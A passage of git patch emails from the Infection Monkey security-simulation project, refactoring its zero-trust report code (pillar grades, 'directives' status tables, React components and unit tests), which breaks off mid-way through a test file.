b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index ec0842309..f70d5df31 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -2,8 +2,9 @@ import React, {Component} from "react"; import {Timeline, TimelineEvent} from "react-event-timeline"; const eventTypeToIcon = { - "MonkeyAction": "fa fa-exclamation-circle fa-2x icon-warning", - "IslandAction": "fa fa-server fa-2x icon-info", + "monkey_local": "fa fa-exclamation-circle fa-2x icon-warning", + "monkey_network": "fa fa-exclamation-circle fa-2x icon-warning", + "island": "fa fa-server fa-2x icon-info", null: "fa fa-question-circle fa-2x icon-info", }; @@ -13,15 +14,16 @@ export class EventsTimeline extends Component {
    { - this.props["events"].map(event => ( - { + const event_time = new Date(event.timestamp['$date']).toString(); + return (}> + icon={}> {event.message} - - )) + ) + }) }
    From ae88764dc8e976a3c4d289c9f75a8718915e054e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 12 Aug 2019 18:48:13 +0300 Subject: [PATCH 075/276] Pillar grading resource is now real data --- monkey/common/data/zero_trust_consts.py | 22 +++++ .../cc/resources/reporting/report.py | 85 +++++++------------ .../zerotrust/PillarGrades.js | 1 + 3 files changed, 56 insertions(+), 52 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index db18f056a..72d2bfc43 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -99,6 +99,28 @@ TESTS_MAP = { POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] }, } + +PILLARS_TO_TESTS = { + DATA: [], + PEOPLE: [], + NETWORKS: [], + DEVICES: [], + WORKLOADS: [], + VISIBILITY_ANALYTICS: [], + AUTOMATION_ORCHESTRATION: [] +} + + +def populate_pillars_to_tests(): + for pillar in PILLARS: + for test, test_info in TESTS_MAP.items(): + if pillar in test_info[PILLARS_KEY]: + PILLARS_TO_TESTS[pillar].append(test) + + +populate_pillars_to_tests() + + EVENT_TYPE_ISLAND = "island" EVENT_TYPE_MONKEY_NETWORK = "monkey_network" EVENT_TYPE_MONKEY_LOCAL = "monkey_local" diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 61a034e45..e2a1a4722 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -4,7 +4,8 @@ import json import flask_restful from flask import jsonify -from common.data.zero_trust_consts import TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY +from common.data.zero_trust_consts import TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY, PILLARS, STATUS_CONCLUSIVE, \ + STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED, PILLARS_TO_TESTS from monkey_island.cc.auth import jwt_required from monkey_island.cc.models.finding import Finding from monkey_island.cc.services.reporting.report import ReportService @@ -151,55 +152,35 @@ def get_recommendations_status(): ] +def get_pillar_grade(pillar, all_findings): + pillar_grade = { + "Pillar": pillar, + STATUS_CONCLUSIVE: 0, + STATUS_INCONCLUSIVE: 0, + STATUS_POSITIVE: 0, + STATUS_UNEXECUTED: 0 + } + + tests_of_this_pillar = PILLARS_TO_TESTS[pillar] + + test_unexecuted = {} + for test in tests_of_this_pillar: + test_unexecuted[test] = True + + for finding in all_findings: + test_unexecuted[finding.test] = False + test_info = TESTS_MAP[finding.test] + if pillar in test_info[PILLARS_KEY]: + pillar_grade[finding.status] += 1 + + pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition) + + return pillar_grade + + def get_pillars_grades(): - return [ - { - "Pillar": "Data", - "Conclusive": 6, - "Inconclusive": 6, - "Positive": 6, - "Unexecuted": 6 - }, - { - "Pillar": "Networks", - "Conclusive": 6, - "Inconclusive": 6, - "Positive": 6, - "Unexecuted": 6 - }, - { - "Pillar": "People", - "Conclusive": 6, - "Inconclusive": 6, - "Positive": 6, - "Unexecuted": 6 - }, - { - "Pillar": "Workloads", - "Conclusive": 6, - "Inconclusive": 6, - "Positive": 6, - "Unexecuted": 6 - }, - { - "Pillar": "Devices", - "Conclusive": 6, - "Inconclusive": 6, - "Positive": 6, - "Unexecuted": 6 - }, - { - "Pillar": "Visibility & Analytics", - "Conclusive": 6, - "Inconclusive": 6, - "Positive": 6, - "Unexecuted": 6 - }, - { - "Pillar": "Automation & Orchestration", - "Conclusive": 6, - "Inconclusive": 6, - "Positive": 6, - "Unexecuted": 6 - }, - ] + pillars_grades = [] + all_findings = Finding.objects() + for pillar in PILLARS: + pillars_grades.append(get_pillar_grade(pillar, all_findings)) + return pillars_grades diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js index 9b746afd2..c2dd335f3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js @@ -12,6 +12,7 @@ const columns = [ { Header: 'Conclusive', accessor: 'Conclusive'}, { Header: 'Inconclusive', accessor: 'Inconclusive'}, { Header: 'Unexecuted', accessor: 'Unexecuted'}, + { Header: 'Positive', accessor: 'Positive'}, ] } ]; From 6cd7af6eaac38c0d1d69f4eb490a9649ee293363 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 13 Aug 2019 11:54:50 +0300 Subject: [PATCH 076/276] Moved report generation logic to service, and now all report data is automatic also renamed fields to lowercase and renamed "recommendation" to "directive". --- monkey/common/data/zero_trust_consts.py | 28 ++- .../cc/resources/reporting/report.py | 161 +----------------- .../services/reporting/zero_trust_report.py | 114 +++++++++++++ .../components/pages/ZeroTrustReportPage.js | 26 +-- ...tatusTable.js => DirectivesStatusTable.js} | 39 ++--- .../zerotrust/PillarGrades.js | 2 +- .../zerotrust/SinglePillarDirectivesStatus.js | 22 +++ .../SinglePillarRecommendationsStatus.js | 15 -- 8 files changed, 203 insertions(+), 204 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/zero_trust_report.py rename monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/{RecommendationsStatusTable.js => DirectivesStatusTable.js} (52%) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 72d2bfc43..8c74bf145 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -11,7 +11,8 @@ STATUS_UNEXECUTED = u"Unexecuted" STATUS_POSITIVE = u"Positive" STATUS_INCONCLUSIVE = u"Inconclusive" STATUS_CONCLUSIVE = u"Conclusive" -TEST_STATUSES = (STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED) +# Don't change order! +TEST_STATUSES = [STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED] TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" @@ -120,6 +121,31 @@ def populate_pillars_to_tests(): populate_pillars_to_tests() +DIRECTIVES_TO_TESTS = {} + + +def populate_directives_to_tests(): + for single_directive in DIRECTIVES: + DIRECTIVES_TO_TESTS[single_directive] = [] + for test, test_info in TESTS_MAP.items(): + DIRECTIVES_TO_TESTS[test_info[DIRECTIVE_KEY]].append(test) + + +populate_directives_to_tests() + +DIRECTIVES_TO_PILLARS = {} + + +def populate_directives_to_pillars(): + for directive, directive_tests in DIRECTIVES_TO_TESTS.items(): + directive_pillars = set() + for test in directive_tests: + for pillar in TESTS_MAP[test][PILLARS_KEY]: + directive_pillars.add(pillar) + DIRECTIVES_TO_PILLARS[directive] = directive_pillars + + +populate_directives_to_pillars() EVENT_TYPE_ISLAND = "island" EVENT_TYPE_MONKEY_NETWORK = "monkey_network" diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index e2a1a4722..e120b27ae 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -1,14 +1,13 @@ import httplib -import json + import flask_restful from flask import jsonify -from common.data.zero_trust_consts import TESTS_MAP, EXPLANATION_KEY, PILLARS_KEY, PILLARS, STATUS_CONCLUSIVE, \ - STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED, PILLARS_TO_TESTS from monkey_island.cc.auth import jwt_required -from monkey_island.cc.models.finding import Finding from monkey_island.cc.services.reporting.report import ReportService +from monkey_island.cc.services.reporting.zero_trust_report import get_all_findings, get_pillars_grades, \ + get_directives_status ZERO_TRUST_REPORT_TYPE = "zero_trust" GENERAL_REPORT_TYPE = "general" @@ -16,7 +15,7 @@ REPORT_TYPES = [GENERAL_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" -REPORT_DATA_RECOMMENDATION_STATUS = "recommendations" +REPORT_DATA_DIRECTIVES_STATUS = "directives" __author__ = ["itay.mizeretz", "shay.nehmad"] @@ -32,155 +31,7 @@ class Report(flask_restful.Resource): return jsonify(get_all_findings()) elif report_data == REPORT_DATA_PILLARS: return jsonify(get_pillars_grades()) - elif report_data == REPORT_DATA_RECOMMENDATION_STATUS: - return jsonify(get_recommendations_status()) + elif report_data == REPORT_DATA_DIRECTIVES_STATUS: + return jsonify(get_directives_status()) flask_restful.abort(httplib.NOT_FOUND) - - -def get_all_findings(): - all_findings = Finding.objects() - enriched_findings = [get_enriched_finding(f) for f in all_findings] - return enriched_findings - - -def get_events_as_dict(events): - return [json.loads(event.to_json()) for event in events] - - -def get_enriched_finding(finding): - test_info = TESTS_MAP[finding.test] - enriched_finding = { - # TODO add test explanation per status. - "test": test_info[EXPLANATION_KEY], - "pillars": test_info[PILLARS_KEY], - "status": finding.status, - "events": get_events_as_dict(finding.events) - } - return enriched_finding - - -def get_recommendations_status(): - network_recomms = [ - { - "Recommendation": "Do network segmentation.", - "Status": "Positive", - "Tests": [ - { - "Test": "Test B for segmentation", - "Status": "Positive" - }, - { - "Test": "Test A for segmentation", - "Status": "Positive" - }, - ] - }, - { - "Recommendation": "Analyze malicious network traffic.", - "Status": "Inconclusive", - "Tests": [ - { - "Test": "Use exploits.", - "Status": "Inconclusive" - }, - { - "Test": "Bruteforce passwords.", - "Status": "Inconclusive" - } - ] - }, - { - "Recommendation": "Data at trasnit should be...", - "Status": "Conclusive", - "Tests": [ - { - "Test": "Scan HTTP.", - "Status": "Conclusive" - }, - { - "Test": "Scan elastic.", - "Status": "Unexecuted" - } - ] - }, - ] - - device_recomms = [ - { - "Recommendation": "Install AV software.", - "Status": "Unexecuted", - "Tests": [ - { - "Test": "Search for active AV software processes", - "Status": "Unexecuted" - } - ] - }, - ] - - data_recommns = [ - { - "Recommendation": "Data at trasnit should be...", - "Status": "Conclusive", - "Tests": [ - { - "Test": "Scan HTTP.", - "Status": "Conclusive" - }, - { - "Test": "Scan elastic.", - "Status": "Unexecuted" - } - ] - }, - ] - - return [ - { - "pillar": "Networks", - "recommendationStatus": network_recomms - }, - { - "pillar": "Data", - "recommendationStatus": data_recommns - }, - { - "pillar": "Devices", - "recommendationStatus": device_recomms - }, - ] - - -def get_pillar_grade(pillar, all_findings): - pillar_grade = { - "Pillar": pillar, - STATUS_CONCLUSIVE: 0, - STATUS_INCONCLUSIVE: 0, - STATUS_POSITIVE: 0, - STATUS_UNEXECUTED: 0 - } - - tests_of_this_pillar = PILLARS_TO_TESTS[pillar] - - test_unexecuted = {} - for test in tests_of_this_pillar: - test_unexecuted[test] = True - - for finding in all_findings: - test_unexecuted[finding.test] = False - test_info = TESTS_MAP[finding.test] - if pillar in test_info[PILLARS_KEY]: - pillar_grade[finding.status] += 1 - - pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition) - - return pillar_grade - - -def get_pillars_grades(): - pillars_grades = [] - all_findings = Finding.objects() - for pillar in PILLARS: - pillars_grades.append(get_pillar_grade(pillar, all_findings)) - return pillars_grades diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_report.py b/monkey/monkey_island/cc/services/reporting/zero_trust_report.py new file mode 100644 index 000000000..09227f134 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_report.py @@ -0,0 +1,114 @@ +import json +from common.data.zero_trust_consts import * +from monkey_island.cc.models.finding import Finding + + +def get_all_findings(): + all_findings = Finding.objects() + enriched_findings = [get_enriched_finding(f) for f in all_findings] + return enriched_findings + + +def get_events_as_dict(events): + return [json.loads(event.to_json()) for event in events] + + +def get_enriched_finding(finding): + test_info = TESTS_MAP[finding.test] + enriched_finding = { + # TODO add test explanation per status. + "test": test_info[EXPLANATION_KEY], + "pillars": test_info[PILLARS_KEY], + "status": finding.status, + "events": get_events_as_dict(finding.events) + } + return enriched_finding + + +def get_lcd_worst_status_for_test(all_findings_for_test): + current_status = STATUS_UNEXECUTED + for finding in all_findings_for_test: + if TEST_STATUSES.index(finding.status) < TEST_STATUSES.index(current_status): + current_status = finding.status + + return current_status + + +def get_tests_status(directive_tests): + results = [] + for test in directive_tests: + test_findings = Finding.objects(test=test) + results.append( + { + "test": test, + "status": get_lcd_worst_status_for_test(test_findings) + } + ) + return results + + +def get_directive_status(directive_tests): + worst_status = STATUS_UNEXECUTED + all_statuses = set() + for test in directive_tests: + all_statuses |= set(Finding.objects(test=test).distinct("status")) + + for status in all_statuses: + if TEST_STATUSES.index(status) < TEST_STATUSES.index(worst_status): + worst_status = status + + return worst_status + + +def get_directives_status(): + all_directive_statuses = {} + + # init with empty lists + for pillar in PILLARS: + all_directive_statuses[pillar] = [] + + for directive, directive_tests in DIRECTIVES_TO_TESTS.items(): + for pillar in DIRECTIVES_TO_PILLARS[directive]: + all_directive_statuses[pillar].append( + { + "directive": directive, + "tests": get_tests_status(directive_tests), + "status": get_directive_status(directive_tests) + } + ) + + return all_directive_statuses + + +def get_pillar_grade(pillar, all_findings): + pillar_grade = { + "pillar": pillar, + STATUS_CONCLUSIVE: 0, + STATUS_INCONCLUSIVE: 0, + STATUS_POSITIVE: 0, + STATUS_UNEXECUTED: 0 + } + + tests_of_this_pillar = PILLARS_TO_TESTS[pillar] + + test_unexecuted = {} + for test in tests_of_this_pillar: + test_unexecuted[test] = True + + for finding in all_findings: + test_unexecuted[finding.test] = False + test_info = TESTS_MAP[finding.test] + if pillar in test_info[PILLARS_KEY]: + pillar_grade[finding.status] += 1 + + pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition) + + return pillar_grade + + +def get_pillars_grades(): + pillars_grades = [] + all_findings = Finding.objects() + for pillar in PILLARS: + pillars_grades.append(get_pillar_grade(pillar, all_findings)) + return pillars_grades diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 630952961..1dfe0c40b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -4,7 +4,7 @@ import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; import PillarGrades from "../report-components/zerotrust/PillarGrades"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; -import {SinglePillarRecommendationsStatus} from "../report-components/zerotrust/SinglePillarRecommendationsStatus"; +import {SinglePillarDirectivesStatus} from "../report-components/zerotrust/SinglePillarDirectivesStatus"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -45,13 +45,13 @@ class ZeroTrustReportPageComponent extends AuthComponent {
    ; - const recommendationsSection =

    Recommendations Status

    + const directivesSection =

    Directives status

    { - this.state.recommendations.map((recommendation) => - + Object.keys(this.state.directives).map((pillar) => + ) }
    ; @@ -61,7 +61,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { content =
    {pillarsSection} - {recommendationsSection} + {directivesSection} {findingSection}
    ; } @@ -84,8 +84,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { PILLARS:
    {JSON.stringify(this.state.pillars, undefined, 2)}

    - recommendations: -
    {JSON.stringify(this.state.recommendations, undefined, 2)}
    + DIRECTIVES: +
    {JSON.stringify(this.state.directives, undefined, 2)}

    FINDINGS:
    {JSON.stringify(this.state.findings, undefined, 2)}
    @@ -95,7 +95,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { } stillLoadingDataFromServer() { - return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.recommendations === "undefined"; + return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.directives === "undefined"; } print() { @@ -111,11 +111,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { findings: res }); }); - this.authFetch('/api/report/zero_trust/recommendations') + this.authFetch('/api/report/zero_trust/directives') .then(res => res.json()) .then(res => { this.setState({ - recommendations: res + directives: res }); }); this.authFetch('/api/report/zero_trust/pillars') diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js similarity index 52% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js index acd7bc322..f1e2a5d43 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js @@ -1,28 +1,29 @@ -import React, {Component} from "react"; +import React from "react"; import PagenatedTable from "../common/PagenatedTable"; import AuthComponent from "../../AuthComponent"; +const statusToIcon = { + "Positive": "fa-shield alert-success", + "Inconclusive": "fa-question alert-info", + "Conclusive": "fa-unlock-alt alert-danger", + "Unexecuted": "fa-toggle-off", +}; + const columns = [ { - Header: 'Recommendations status', + Header: 'Directives status', columns: [ - { Header: 'Recommendation', accessor: 'Recommendation', + { Header: 'Directive', accessor: 'directive', style: {'whiteSpace': 'unset'} // This enables word wrap }, - { Header: 'Status', id: "Status", + { Header: 'Status', id: 'status', accessor: x => { - const statusToIcon = { - "Positive": "fa-shield alert-success", - "Inconclusive": "fa-question alert-info", - "Conclusive": "fa-unlock-alt alert-danger", - "Unexecuted": "fa-toggle-off", - }; - return ; + return ; } }, - { Header: 'Tests', id:"Tests", + { Header: 'Tests', id: 'tests', accessor: x => { - return ; + return ; } } ] @@ -48,24 +49,24 @@ class TestsStatus extends AuthComponent { getTestsOfStatusIfAny(statusToFilter) { const filteredTests = this.props.tests.filter((test) => { - return (test.Status === statusToFilter); + return (test.status === statusToFilter); } ); if (filteredTests.length > 0) { const listItems = filteredTests.map((test) => { - return (
  • {test.Test}
  • ) + return (
  • {test.test}
  • ) }); - return
    {statusToFilter}
      {listItems}
    ; + return
    {statusToFilter}
      {listItems}
    ; } return
    ; } } -export class RecommendationsStatusTable extends AuthComponent { +export class DirectivesStatusTable extends AuthComponent { render() { - return ; + return ; } } -export default RecommendationsStatusTable; +export default DirectivesStatusTable; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js index c2dd335f3..5c0d0d903 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarGrades.js @@ -7,7 +7,7 @@ const columns = [ Header: 'Pillar Grading', columns: [ { Header: 'Pillar', id: 'Pillar', accessor: x => { - return (); + return (); }}, { Header: 'Conclusive', accessor: 'Conclusive'}, { Header: 'Inconclusive', accessor: 'Inconclusive'}, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js new file mode 100644 index 000000000..dad36d025 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js @@ -0,0 +1,22 @@ +import AuthComponent from "../../AuthComponent"; +import {PillarLabel} from "./PillarLabel"; +import DirectivesStatusTable from "./DirectivesStatusTable"; +import React, {Fragment} from "react"; + +export class SinglePillarDirectivesStatus extends AuthComponent { + directivesStatus; + + render() { + if (this.props.directivesStatus.length === 0) { + return null; + } + else { + return ( + +

    + +
    + ); + } + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js deleted file mode 100644 index 802b7a0a2..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js +++ /dev/null @@ -1,15 +0,0 @@ -import AuthComponent from "../../AuthComponent"; -import {PillarLabel} from "./PillarLabel"; -import RecommendationsStatusTable from "./RecommendationsStatusTable"; -import React from "react"; - -export class SinglePillarRecommendationsStatus extends AuthComponent { - render() { - return ( -
    -

    - -
    - ); - } -} From fb893089d91ad41f58404675e3b592ded3385fe5 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 13 Aug 2019 14:32:05 +0300 Subject: [PATCH 077/276] Fixed circular import in the testing env --- monkey/monkey_island/cc/environment/testing.py | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py index 286e442dd..087c3a2e3 100644 --- a/monkey/monkey_island/cc/environment/testing.py +++ b/monkey/monkey_island/cc/environment/testing.py @@ -1,5 +1,4 @@ from monkey_island.cc.environment import Environment -import monkey_island.cc.auth class TestingEnvironment(Environment): @@ -7,11 +6,5 @@ class TestingEnvironment(Environment): super(TestingEnvironment, self).__init__() self.testing = True - # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' - NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ - '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' - def get_auth_users(self): - return [ - monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS) - ] + return [] From bfcd469e0486d53f2957e760ae6b478d58d7f8a8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 13 Aug 2019 14:32:55 +0300 Subject: [PATCH 078/276] Added finding db cleaning for the UTs in IslandTestCase --- monkey/monkey_island/cc/models/test_event.py | 4 ++-- monkey/monkey_island/cc/models/test_finding.py | 13 +++++-------- monkey/monkey_island/cc/testing/IslandTestCase.py | 5 +++++ 3 files changed, 12 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/models/test_event.py b/monkey/monkey_island/cc/models/test_event.py index f36f4f562..3bc201f62 100644 --- a/monkey/monkey_island/cc/models/test_event.py +++ b/monkey/monkey_island/cc/models/test_event.py @@ -8,7 +8,7 @@ from monkey_island.cc.testing.IslandTestCase import IslandTestCase class TestEvent(IslandTestCase): def test_create_event(self): self.fail_if_not_testing_env() - self.clean_monkey_db() + self.clean_finding_db() with self.assertRaises(ValidationError): Event.create_event( @@ -27,5 +27,5 @@ class TestEvent(IslandTestCase): _ = Event.create_event( title="skjs", message="bla bla", - event_type=EVENT_TYPE_ISLAND # Unknown event type + event_type=EVENT_TYPE_ISLAND ) diff --git a/monkey/monkey_island/cc/models/test_finding.py b/monkey/monkey_island/cc/models/test_finding.py index 2b52553da..d111b0513 100644 --- a/monkey/monkey_island/cc/models/test_finding.py +++ b/monkey/monkey_island/cc/models/test_finding.py @@ -1,11 +1,8 @@ -from datetime import datetime - from mongoengine import ValidationError -from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_CONCLUSIVE, NETWORKS, EVENT_TYPE_MONKEY_NETWORK -from finding import Finding, UnknownTest +from common.data.zero_trust_consts import * +from finding import Finding from monkey_island.cc.models.event import Event - from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -19,17 +16,17 @@ class TestFinding(IslandTestCase): """ def test_save_finding_validation(self): self.fail_if_not_testing_env() - self.clean_monkey_db() + self.clean_finding_db() with self.assertRaises(ValidationError): - _ = Finding.save_finding(test="bla bla", status="Conclusive", events=[]) + _ = Finding.save_finding(test="bla bla", status=STATUS_CONCLUSIVE, events=[]) with self.assertRaises(ValidationError): _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[]) def test_save_finding_sanity(self): self.fail_if_not_testing_env() - self.clean_monkey_db() + self.clean_finding_db() self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py index e894f13df..5b050684c 100644 --- a/monkey/monkey_island/cc/testing/IslandTestCase.py +++ b/monkey/monkey_island/cc/testing/IslandTestCase.py @@ -1,6 +1,7 @@ import unittest from monkey_island.cc.environment.environment import env from monkey_island.cc.models import Monkey +from monkey_island.cc.models.finding import Finding class IslandTestCase(unittest.TestCase): @@ -10,3 +11,7 @@ class IslandTestCase(unittest.TestCase): @staticmethod def clean_monkey_db(): Monkey.objects().delete() + + @staticmethod + def clean_finding_db(): + Finding.objects().delete() From d4f922ab00f9bf44e5986944d7593675f2a5d1ef Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 13 Aug 2019 14:33:18 +0300 Subject: [PATCH 079/276] Added zero trust service with passing sanity UTs --- monkey/common/data/zero_trust_consts.py | 2 +- .../cc/resources/reporting/report.py | 13 +- .../reporting/test_zeroTrustService.py | 200 ++++++++++++++++++ .../services/reporting/zero_trust_report.py | 114 ---------- .../services/reporting/zero_trust_service.py | 117 ++++++++++ 5 files changed, 324 insertions(+), 122 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py delete mode 100644 monkey/monkey_island/cc/services/reporting/zero_trust_report.py create mode 100644 monkey/monkey_island/cc/services/reporting/zero_trust_service.py diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 8c74bf145..b6a8c8c33 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -61,7 +61,7 @@ TESTS_MAP = { EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", FINDING_FORMAT_KEY: u"Malicious activity performed by the Monkeys. See 'events' for detailed information.", DIRECTIVE_KEY: DIRECTIVE_ANALYZE_NETWORK_TRAFFIC, - PILLARS_KEY: [NETWORKS], + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_INCONCLUSIVE] }, TEST_ENDPOINT_SECURITY_EXISTS: { diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index e120b27ae..84e458398 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -6,8 +6,7 @@ from flask import jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.reporting.zero_trust_report import get_all_findings, get_pillars_grades, \ - get_directives_status +from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService ZERO_TRUST_REPORT_TYPE = "zero_trust" GENERAL_REPORT_TYPE = "general" @@ -27,11 +26,11 @@ class Report(flask_restful.Resource): if report_type == GENERAL_REPORT_TYPE: return ReportService.get_report() elif report_type == ZERO_TRUST_REPORT_TYPE: - if report_data == REPORT_DATA_FINDINGS: - return jsonify(get_all_findings()) - elif report_data == REPORT_DATA_PILLARS: - return jsonify(get_pillars_grades()) + if report_data == REPORT_DATA_PILLARS: + return jsonify(ZeroTrustService.get_pillars_grades()) elif report_data == REPORT_DATA_DIRECTIVES_STATUS: - return jsonify(get_directives_status()) + return jsonify(ZeroTrustService.get_directives_status()) + elif report_data == REPORT_DATA_FINDINGS: + return jsonify(ZeroTrustService.get_all_findings()) flask_restful.abort(httplib.NOT_FOUND) diff --git a/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py b/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py new file mode 100644 index 000000000..ff6e88982 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py @@ -0,0 +1,200 @@ +from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService + +from common.data.zero_trust_consts import * +from monkey_island.cc.models.finding import Finding +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +def save_example_findings(): + # arrange + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, []) # devices positive = 1 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, []) # devices positive = 2 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_CONCLUSIVE, 